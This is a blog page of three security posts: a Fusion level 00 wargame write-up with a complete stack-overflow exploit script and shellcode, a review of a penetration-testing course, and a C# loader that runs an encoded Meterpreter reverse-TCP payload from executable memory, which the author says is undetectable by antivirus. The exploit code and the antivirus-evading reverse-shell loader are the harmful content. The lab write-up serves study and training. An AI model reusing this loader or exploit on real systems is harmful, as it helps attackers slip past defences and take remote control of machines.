Monday, April 9, 2012

Exploit Exercises - Fusion 00

I was very excited to see the announcement on twitter, that Fusion was going to be released, even if it's just the first 10 levels. I was a bit bummed, as I didn't think I'd get to work on it much, until I complete PWB, but I managed to find a little time to at least start it. I pulled up level 00, which looks to be a basic stack overflow in an http server. The code for the server is below:
#include "../common/common.c" 

int fix_path(char *path)
{
 char resolved[128];

 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
 strcpy(path, resolved);
}

char *parse_http_request()
{
 char buffer[1024];
 char *path;
 char *q;

 printf("[debug] buffer is at 0x%08x :-)\n", buffer);

 if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
 if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

 path = &buffer[4];
 q = strchr(path, ' ');
 if(! q) errx(0, "No protocol version specified");
 *q++ = 0;
 if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

 fix_path(path);

 printf("trying to access %s\n", path);

 return path;
}

int main(int argc, char **argv, char **envp)
{
 int fd;
 char *p;

 background_process(NAME, UID, GID); 
 fd = serve_forever(PORT);
 set_io(fd);

 parse_http_request(); 
}
I initially had to read through the code a few times to figure out where the overflow was, to be quite honest. When an HTTP request comes in, it goes to the "parse_http_request" method. From there, it reads the buffer in by using the "read" method. Unfortunately for us, it is being careful to only read in as many bytes as it can put into the buffer. It then does some basic handling to parse out the request. It verifies that it was a "GET" request, and that it was done using HTTP/1.1. After that, it will pass the path of the URI to "fix_path". In this method, there IS an overflow, since the "resolved" variable has 128 bytes to hold data, but there is no checking of size when the "strcpy" is done.

I logged into the machine, and made sure that I could actually get a core dump to be created if the process had an exception. To do this, I changed the core settings for my user:
fusion@fusion:/$ ulimit -c unlimited
Based on my analysis, I knew I would be overflowing the URI path, but based on the note given to me, I would put my shellcode after the "HTTP/1.1" since there was a lot more room. However, I didn't know the EIP offset. So I generated a quick MSF pattern on another machine:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
I then started to wire up an exploit like so:
fusion@fusion:/$ perl -e 'print "GET /". "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\xcc"x100' | nc localhost 20000
Note that the "\x99\xf9\xff\xbf" value was simply guessed by taking the buffer offset (conveniently given to us at runtime) of "0xbffff8f8", and adding to it enough bytes for the "GET", the MSF buffer, and the "HTTP/1.1". I had played previously by hand, and knew how long the buffer would be, so I didn't need to break this into 2 steps.

After executing the command, I found a handy "core" file in the root directory. So I loaded it up in GDB to get the offset:
fusion@fusion:/$ sudo gdb --core=/core --quiet
[New LWP 2280]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0  0x65413665 in ?? ()
Next, I took that EIP value, and ran it through the MSF Pattern Offset calculator:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x65413665
139
This was convenient enough to let me know that the first 139 bytes were junk, but then I had direct access to the EIP. If my estimate for a return address was close enough to hit a nop sled, it would then hit the "\xcc" debug/trace point. I then tested that:
fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\xcc"x100' | nc localhost 20000
When I loaded the new core file into GDB, I saw that it indeed hit the debug trap:
fusion@fusion:/$ sudo gdb --core=/core --quiet
[New LWP 2310]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 5, Trace/breakpoint trap.
#0  0xbffff9fb in ?? ()
(gdb) x/10x $eip
0xbffff9fb:     0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa03:     0xcc    0xcc
The next step was to generate some shellcode. I verified that the process was running as a UID of 20000, and not SUID, so I'm guessing at the end result here. The challenge to me was actually getting the exploit to work, so what the shellcode did was not a big event for me. I decided to just make it write a file to /tmp. This could however be adapted to anything else.

I used Metasploit's MSFVenom tool to generate me some shellcode to "touch /tmp/poo" as a test:
mandreko@li225-134:~$ msfvenom -p linux/x86/exec -f pl CMD="touch /tmp/poo"
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00" .
"\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f" .
"\x6f\x00\x57\x53\x89\xe1\xcd\x80";
I then plugged that shellcode into my exploit:
fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"' | nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
Lastly, I verified that it did run the shellcode:
fusion@fusion:/$ ls -al /tmp
total 8
drwxrwxrwt  2 root  root  4096 2012-04-09 21:25 .
drwxr-xr-x 22 root  root  4096 2012-04-09 21:22 ..
-rw-r--r--  1 20000 20000    0 2012-04-09 21:25 poo
There you have it, successful exploitation, using very basic methods. This one felt very much like the first day back from summer break, but I'm guessing it'll get much harder quickly.

UPDATE 5/7/2012: Added python exploit:
# Fusion Level 00
# http://exploit-exercises.com/fusion/level00
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0xbffff999)
        nops = "\x90"*100
        shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        print s.recv(1024)
        s.send("GET /" + junk + ret + " HTTP/1.1\n" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20000,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)

Tuesday, March 27, 2012

PWB Progress and Impressions

I recently decided to take Offensive Security's course, Penetration Testing with Backtrack. I'm now 30 days in, of my 90 day allotment. I figured I would share my impressions and what I've learned up to now, without being specific enough to give anything away to future students.

The Wait

So I decided to take the class, and submitted the order on February 16th 2012. Offensive Security starts new classes each Sunday, and apparently the one starting on February 18th was already full, so I ended up waiting until February 25th. The waiting was agonizing. I wanted to get started now. But alas, I waited my time.

The Beginning

So on February 25th 00:00:00 GMT (7PM on February 24th for me), I received the email from Offensive Security with my credentials to the lab, and coursework. I started downloading the PDF and videos on one computer, while quickly setting up the VPN connection on my laptop's BackTrack 5 R1 virtual machine.

So excited to finally be started, I spent the next 5 hours watching the video series that came with the course. I followed along with it, for the most part, duplicating what was done. I went to bed, and woke up the next day to return to it. I watched several more hours of video, skipping a few sections that I already felt really strong with. I then started looking through the PDF, and found that I was going to need to "show my work" on all of those video examples and more. I was a bit frustrated that I had jumped right in, instead of looking over things first. That was just me being overly excited.

And we're off...

I originally was going to try to first do the PDF requirements along with the videos, and then play in the labs, however again, my excitement won out. I connected to the labs, and started ping scanning, port scanning, and all the usual stuff one would do when discovering a network. I started mapping out what I had access to, and gathering data on what was running. By the evening of February 26th, I already had broken into 3 of the lab machines. On March 1st, I had 9 machines. On March 5th, I reported to my friends that I had 17 machines. I felt amazing, I was just flying through them.

Eventually, I slowed down. I was no longer getting several machines at a time. I'd still have the random bursts though. I spent all night on March 15th working on them, and somehow got another 4 machines. Only a few days later, I had all the machines in the student lab, except Sufference, a machine notorious for being one of the most difficult in the lab. I had even managed to get Pain, another one of the notoriously difficult ones. I started finally getting to the point where I couldn't get a machine after just an hour or two, and then really was having fun.

Some things I learned along the way

  • From the advice of several friends, I started keeping wordlists that I made myself, as I went along. (I learned this lesson on some sample virtual machines that I had previously completed when trying to prepare for the course.)
  • Brute forcing passwords over a VPN is slow.
  • Don't just hack and dash. There is often something useful on a machine, if you just spend the time looking. Things like, "find / | grep '\(txt\|zip\)$'", will become your friend.
  • Pay attention to g0tmi1k's excellent linux privilege escalation page. He wrote it while doing PWB, because some of the machines were tricky.
  • Keep up to date on new pentesting methods. Often times, new things come out which may prove to be useful in a lab that was not created in the last couple weeks.
  • Do not overestimate the fact that users will make things easy on you. They'll use their first name as a login often. They'll keep default passwords. They will use short passwords that are easily cracked.
  • Do not ask for hints. You will not be given hints on real jobs. Try Harder.

Still more work ahead

As of today, I have written up my notes on how to root all but 3 machines in the lab. I technically have root on those 3, due to a method I discovered, but don't like as my final method. After I get those last 3 the "right" way, learning the lessons that Offensive Security wanted me to, I'll go back to my PDF file, and doing the reporting work. I'm not particularly looking forward to this part, but it's part of the course, and part of the job as a penetration tester. It's what the clients pay you for.

In talking with my friends, who are already OSCP certified, most seem to think I'm flying through the lab quite fast. This makes me feel a bit less nervous about the exam. I haven't yet figured out when I'll take it, but I think I'll do ok.

Final Thoughts

For anyone looking to get into penetration testing, or anyone that just enjoys this stuff as a hobby, I'd very much recommend this course. I'd heard so many good things about it before I started, and I now can help say good things about it as a student. The PDF/Video coursework is a good start, but the lab is simply amazing. I often see people posting in #offsec about wishing to be able to go back to the lab to play some more. I already see improvements in my skills, especially the enumeration and gathering skills. I will definitely try to get into Cracking The Perimeter next.

Thursday, February 23, 2012

Using .net to bypass AV

I've read a ton of articles on bypassing Antivirus software when trying to run shellcode on machines. There's just a ton available. These are just a few examples:
I was recently working with some Windows web-servers, which had ASP.net enabled, but not any other useful language. I had recently read about PowerSyringe, so I started tinkering with making some shellcode run similarly.

I ended up finding out that I couldn't do what I was wanting to do in ASP.net as of yet. If someone else can find a way, please let me know. Unfortunately, I get the error, "Attempted to read or write protected memory. This is often an indication that other memory is corrupt.", when trying to use this in ASP.net.

However, for just normal Windows applications, this is yet another great way to hide from AV. It's very similar to the python method, where you wrap the payload in python, and then turn it into an executable. Take a look, and let me know of any improvements:
using System;
using System.Runtime.InteropServices;

namespace Wrapper
{
    class Program
    {
        [Flags]
        public enum AllocationType : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000,
            RESET = 0x80000,
            LARGE_PAGES = 0x20000000,
            PHYSICAL = 0x400000,
            TOP_DOWN = 0x100000,
            WRITE_WATCH = 0x200000
        }

        [Flags]
        public enum MemoryProtection : uint
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            EXECUTE_WRITECOPY = 0x80,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04,
            WRITECOPY = 0x08,
            GUARD_Modifierflag = 0x100,
            NOCACHE_Modifierflag = 0x200,
            WRITECOMBINE_Modifierflag = 0x400
        }

        public enum FreeType : uint
        {
            MEM_DECOMMIT = 0x4000,
            MEM_RELEASE = 0x8000
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);

        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
        public delegate Int32 ExecuteDelegate();

        static void Main()
        {
            // msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.105 R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
            string shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIilkXK9ePePc0qpK9HeUazrU4NkrrtplKPRfllK3bdTlKsBExvoOG3zfFP1YovQyPLl5lpaCL7rDl5pzaZofmUQo7KRzPrrrwLKv2vpnkrbUleQJplKspt8K5IPt4rjs1XPf0nkpH5HLKf8gPvaxSHc5l0IlKTtlKGqzv6QyoFQIPLlzajoTMgqxGuh9pRUzTwsQmzXEkametd5kRQHNkchetGqxSRFlK4LbklK2x7lva9ClKS4lKgqXPNiG4VD6DskCkE169sjV1IoM0bxcobznkDRhkK6smbH03drEPC0qx0wRSEbsobtbH2ld7a6UW9oIEMhlPuQePePuyo4RtbpaxTik0BKc09oHUBp2pf060CpBpSpBpphxjtOkoM0YoKenwQzWurHKpMxfau9sXgr30vqClmYZF3ZTPBvqGCXj9lept3QKOZuouo0Pt6lYobns8SEHlbHxpX5Y21FKON53ZC0SZVdbvCgu8s2n9jhsoKOn5Nk6VSZCpE8S0b0C05PPVcZ30e82xLd1CiukOjuNsScCZUP1F0SV7U84BJyhH1OyoN5wqIStiHFMU9fD5hlYSAA";

            byte[] sc = new byte[shellcode.Length];

            for (int i = 0; i < shellcode.Length; i++)
            {
                sc[i] = Convert.ToByte(shellcode[i]);
            }

            // Allocate RWX memory for the shellcode
            IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
            System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");

            try
            {
                // Copy shellcode to RWX buffer
                Marshal.Copy(sc, 0, baseAddr, sc.Length);

                // Get pointer to function created in memory
                ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));

                del();
            }
            finally
            {
                VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
            }

            Console.ReadLine();
        }
    }
}
Once this is compiled, it seems to currently be completely undetectable.